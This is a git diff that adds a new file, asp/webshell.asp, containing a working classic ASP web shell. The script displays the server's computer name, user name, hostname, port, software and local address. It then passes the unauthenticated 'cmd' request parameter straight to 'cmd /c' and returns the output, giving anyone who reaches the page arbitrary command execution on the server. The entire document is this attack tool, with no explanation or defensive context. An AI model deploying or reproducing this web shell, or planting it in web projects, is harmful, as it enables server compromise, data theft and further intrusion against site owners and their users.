diff --git a/asp/webshell.asp b/asp/webshell.asp
new file mode 100644
index 0000000..24fc2a1
--- /dev/null
+++ b/asp/webshell.asp
@@ -0,0 +1,51 @@
+
+
+
+<%
+Set oScript = Server.CreateObject("WSCRIPT.SHELL")
+Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
+Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
+Function getCommandOutput(theCommand)
+ Dim objShell, objCmdExec
+ Set objShell = CreateObject("WScript.Shell")
+ Set objCmdExec = objshell.exec(thecommand)
+ getCommandOutput = objCmdExec.StdOut.ReadAll
+end Function
+%>
+
+
+
+
+
+
+<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
+<%Response.Write(Request.ServerVariables("server_name"))%>
+
+The server's port:
+<%Response.Write(Request.ServerVariables("server_port"))%>
+
+
+The server's software:
+<%Response.Write(Request.ServerVariables("server_software"))%>
+
+
+The server's local address:
+<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
+<% szCMD = request("cmd")
+thisDir = getCommandOutput("cmd /c" & szCMD)
+Response.Write(thisDir)%>
+
+
+
+